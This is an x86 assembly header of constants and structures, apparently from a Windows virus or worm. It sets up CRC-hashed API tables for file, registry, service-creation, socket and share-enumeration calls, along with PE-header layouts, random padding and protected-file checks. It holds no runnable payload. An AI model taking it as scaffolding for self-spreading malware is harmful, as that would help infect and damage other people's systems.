MAX_PATH equ 260 FILE_ATTRIBUTE_HIDDEN equ 00000002h FILE_ATTRIBUTE_DIRECTORY equ 00000010h FILE_ATTRIBUTE_NORMAL equ 00000080h FILE_FLAG_RANDOM_ACCESS equ 10000000h CREATE_ALWAYS equ 2 OPEN_EXISTING equ 3 GENERIC_WRITE equ 40000000h GENERIC_READ equ 80000000h FILE_SHARE_READ equ 1 GMEM_FIXED equ 0 GMEM_ZEROINIT equ 40h REG_SZ equ 1 HKEY_CURRENT_USER equ 80000001h HKEY_LOCAL_MACHINE equ 80000002h HKEY_USERS equ 80000003h SC_MANAGER_CREATE_SERVICE equ 2 SERVICE_START equ 10h SERVICE_WIN32_OWN_PROCESS equ 10h SERVICE_AUTO_START equ 2 DRIVE_FIXED equ 3 DRIVE_REMOTE equ 4 AF_NS equ 6 PF_NS equ AF_NS AF_INET equ 2 SOCK_STREAM equ 1 IMAGE_FILE_MACHINE_I386 equ 14ch ;14d/14e do not exist. if you don't believe, then try it IMAGE_FILE_RELOCS_STRIPPED equ 0001h IMAGE_FILE_EXECUTABLE_IMAGE equ 0002h IMAGE_FILE_32BIT_MACHINE equ 0100h IMAGE_FILE_SYSTEM equ 1000h IMAGE_FILE_DLL equ 2000h IMAGE_FILE_UP_SYSTEM_ONLY equ 4000h IMAGE_SUBSYSTEM_WINDOWS_GUI equ 2 IMAGE_SUBSYSTEM_WINDOWS_CUI equ 3 SECTION_MAP_WRITE equ 0002h FILE_MAP_WRITE equ SECTION_MAP_WRITE PAGE_READWRITE equ 04 RANDPADMIN equ 4096 RANDPADMAX equ 2048 ;RANDPADMIN is added to this RESOURCE_GLOBALNET equ 2 RESOURCETYPE_DISK equ 00000001 ERROR_MORE_DATA equ 234 RESOURCEUSAGE_CONNECTABLE equ 00000001 RESOURCEUSAGE_CONTAINER equ 00000002 MAX_PREFERRED_LENGTH equ 0ffffffffh LM20_NNLEN equ 12 statelen equ 624 period equ 397 tshiftU equ 0bh tshiftS equ 7 tmaskB equ 9d2c5680h tshiftT equ 0fh tmaskC equ 0efc60000h tshiftL equ 12h matrixA equ 9908b0dfh align 1 ;byte-packed structures expcrcstk struct pWriteFile dd ? pWinExec dd ? pSetFileAttributesA dd ? pMoveFileA dd ? pLoadLibraryA dd ? pGlobalFree dd ? pGlobalAlloc dd ? pGetWindowsDirectoryA dd ? pGetTickCount dd ? pGetTempFileNameA dd ? pGetFileAttributesA dd ? pGetCurrentProcess dd ? pDeleteFileA dd ? pCreateFileA dd ? pCloseHandle dd ? expcrcstk ends expcrc_count equ size expcrcstk shr 2 regcrcstk struct rRegSetValueA dd ? rOpenSCManagerA dd ? rCreateServiceA dd ? rCloseServiceHandle dd ? regcrcstk ends regcrc_count equ size regcrcstk shr 2 popsize equ 0ch + size regcrcstk + size expcrcstk execrcstk struct eLoadLibraryA dd ? eGlobalAlloc dd ? eGetVersion dd ? eGetTickCount dd ? eGetStartupInfoW dd ? eGetStartupInfoA dd ? eGetCommandLineW dd ? eGetCommandLineA dd ? eExitProcess dd ? eCreateProcessW dd ? eCreateProcessA dd ? execrcstk ends execrc_count equ size execrcstk shr 2 usrcrcstk struct uCharNextW dd ? uCharNextA dd ? usrcrcstk ends usrcrc_count equ size usrcrcstk shr 2 svccrcstk struct sStartServiceCtrlDispatcherA dd ? svccrcstk ends svccrc_count equ size svccrcstk shr 2 startupinfo struct sicb dd ? siReserved dd ? siDesktop dd ? siTitle dd ? sidwX dd ? sidwY dd ? sidwXSize dd ? sidwYSize dd ? sidwXCountChars dd ? sidwYCountChars dd ? sidwFillAttribute dd ? sidwFlags dd ? siwShowWindow dw ? sicbReserved2 dw ? silpReserved2 dd ? sihStdInput dd ? sihStdOutput dd ? sihStdError dd ? startupinfo ends processinfo struct pihProcess dd ? pihThread dd ? pidwProcessId dd ? pidwThreadId dd ? processinfo ends krncrcstk struct klstrlenW dd ? klstrcpyW dd ? klstrcatW dd ? kUnmapViewOfFile dd ? kSleep dd ? kSetFileTime dd ? kSetFileAttributesW dd ? kSetFileAttributesA dd ? kSetCurrentDirectoryW dd ? kSetCurrentDirectoryA dd ? kReadFile dd ? kMultiByteToWideChar dd ? kMapViewOfFile dd ? kLoadLibraryA dd ? kGlobalFree dd ? kGlobalAlloc dd ? kGetVersion dd ? kGetTickCount dd ? kGetModuleFileNameA dd ? kGetFullPathNameW dd ? kGetFullPathNameA dd ? kGetFileSize dd ? kGetDriveTypeA dd ? kFindNextFileW dd ? kFindNextFileA dd ? kFindFirstFileW dd ? kFindFirstFileA dd ? kFindClose dd ? kCreateThread dd ? kCreateFileMappingA dd ? kCreateFileW dd ? kCreateFileA dd ? kCloseHandle dd ? krncrcstk ends krncrc_count equ size krncrcstk shr 2 sfccrcstk struct sSfcIsFileProtected dd ? sfccrcstk ends sfccrc_count equ size sfccrcstk shr 2 ws2crcstk struct wsocket dd ? wsend dd ? wgethostbyname dd ? wconnect dd ? wWSAStartup dd ? ws2crcstk ends ws2crc_count equ size ws2crcstk shr 2 CRITICAL_SECTION struct DebugInfo dd ? LockCount dd ? RecursionCount dd ? OwningThread dd ? LockSemaphore dd ? Reserved dd ? CRITICAL_SECTION ends WSADESCRIPTION_LEN equ 256 WSASYS_STATUS_LEN equ 128 WSADATA struct wVersion dw ? wHighVersion dw ? szDescription db WSADESCRIPTION_LEN + 1 dup (?) szSystemStatus db WSASYS_STATUS_LEN + 1 dup (?) iMaxSockets dw ? iMaxUdpDg dw ? lpVendorInfo dd ? WSADATA ends hostent struct h_name dd ? h_aliases dd ? h_addrtype dd ? h_length dw ? h_addr_list dd ? hostent ends sockaddr_in struct sin_family dw ? sin_port dw ? sin_addr dd ? sin_zero db 8 dup (?) sockaddr_in ends netcrcstk struct nWNetOpenEnumW dd ? nWNetOpenEnumA dd ? nWNetEnumResourceW dd ? nWNetEnumResourceA dd ? nWNetCloseEnum dd ? netcrcstk ends netcrc_count equ size netcrcstk shr 2 ip9xcrcstk struct ip9xNetShareEnum dd ? ip9xcrcstk ends ip9xcrc_count equ size ip9xcrcstk shr 2 ipntcrcstk struct ipntNetShareEnum dd ? ipntNetApiBufferFree dd ? ipntcrcstk ends ipntcrc_count equ size ipntcrcstk shr 2 coffhdr struct pemachine dw ? ;04 pesectcount dw ? ;06 petimedate dd ? ;08 pesymbrva dd ? ;0C pesymbcount dd ? ;10 peopthdrsize dw ? ;14 peflags dw ? ;16 coffhdr ends pedir struct dirrva dd ? dirsize dd ? pedir ends pehdr struct pesig dd ? ;00 pecoff coffhdr pemagic dw ? ;18 pemajorlink db ? ;1A peminorlink db ? ;1B pecodesize dd ? ;1C peidatasize dd ? ;20 peudatasize dd ? ;24 peentrypoint dd ? ;28 pecodebase dd ? ;2C pedatabase dd ? ;30 peimagebase dd ? ;34 pesectalign dd ? ;38 pefilealign dd ? ;3C pemajoros dw ? ;40 peminoros dw ? ;42 pemajorimage dw ? ;44 peminorimage dw ? ;46 pemajorsubsys dw ? ;48 peminorsubsys dw ? ;4A pereserved dd ? ;4C peimagesize dd ? ;50 pehdrsize dd ? ;54 pechksum dd ? ;58 pesubsys dw ? ;5C pedllflags dw ? ;5E pestackmax dd ? ;60 pestacksize dd ? ;64 peheapmax dd ? ;68 peheapsize dd ? ;6C peldrflags dd ? ;70 pervacount dd ? ;74 peexport pedir ;78 peimport pedir ;80 persrc pedir ;88 peexcpt pedir ;90 pesecurity pedir ;98 pereloc pedir ;A0 pedebug pedir ;A8 pearch pedir ;B0 peglobal pedir ;B8 petls pedir ;C0 peconfig pedir ;C8 pebound pedir ;D0 peiat pedir ;D8 pedelay pedir ;E0 pecom pedir ;E8 persrv pedir ;F0 pehdr ends peexp struct expflags dd ? expdatetime dd ? expmajorver dw ? expminorver dw ? expdllrva dd ? expordbase dd ? expadrcount dd ? expnamecount dd ? expadrrva dd ? expnamerva dd ? expordrva dd ? peexp ends mzhdr struct mzsig dw ? ;00 mzpagemod dw ? ;02 mzpagediv dw ? ;04 mzrelocs dw ? ;06 mzhdrsize dw ? ;08 mzminalloc dw ? ;0A mzmaxalloc dw ? ;0C mzss dw ? ;0E mzsp dw ? ;10 mzchksum dw ? ;12 mzip dw ? ;14 mzcs dw ? ;16 mzreloff dw ? ;18 mzfiller db 22h dup (?) ;1A mzlfanew dd ? ;3C mzhdr ends tib struct ExceptReg dd ? StackBase dd ? StackLimit dd ? SubSystem dd ? FiberData dd ? UserPointer dd ? TibSelf dd ? TibUnknown dd 5 dup (?) TibTeb dd ? tib ends teb struct tebUnknown dd 6 dup (?) heaphand dd ? tebUnknown2 dd ? procflags dd ? teb ends FILETIME struct dwLowDateTime dd ? dwHighDateTime dd ? FILETIME ends WIN32_FIND_DATA struct dwFileAttributes dd ? ftCreationTime FILETIME ftLastAccessTime FILETIME ftLastWriteTime FILETIME dwFileSizeHigh dd ? dwFileSizeLow dd ? dwReserved0 dd ? dwReserved1 dd ? cFileName dw 260 dup (?) cAlternateFileName dw 14 dup (?) WIN32_FIND_DATA ends findlist struct findprev dd ? findhand dd ? finddata WIN32_FIND_DATA findlist ends pesect struct sectname db 8 dup (?) sectvirtsize dd ? sectvirtaddr dd ? sectrawsize dd ? sectrawaddr dd ? sectreladdr dd ? sectlineaddr dd ? sectrelcount dw ? sectlinecount dw ? sectflags dd ? pesect ends mapsehstk struct mapsehprev dd ? mapsehexcpt dd ? mapsehregs dd 8 dup (?) mapsehsehret dd ? mapsehinfret dd ? mapsehstk ends mapstack struct mapfilesize dd ? mapmapret dd ? mapinfret dd ? mapattrib dd ? mapstack ends NETRESOURCE struct dwScope dd ? dwType dd ? dwDisplayType dd ? dwUsage dd ? lpLocalName dd ? lpRemoteName dd ? lpComment dd ? lpProvider dd ? NETRESOURCE ends wnetlist struct wnetprev dd ? wnethand dd ? wnetlist ends SERVICE_TABLE_ENTRY struct lpServiceName dd ? lpServiceProc dd ? lpServiceName0 dd ? lpServiceProc0 dd ? SERVICE_TABLE_ENTRY ends share_info_1nt struct shi1_netnament dd ? shi1_typent dd ? shi1_remarknt dd ? share_info_1nt ends share_info_19x struct shi1_netname9x db LM20_NNLEN + 1 dup (?) shi1_pad1 db ? shi1_type9x dw ? shi1_remark9x dd ? share_info_19x ends align ;restore default alignment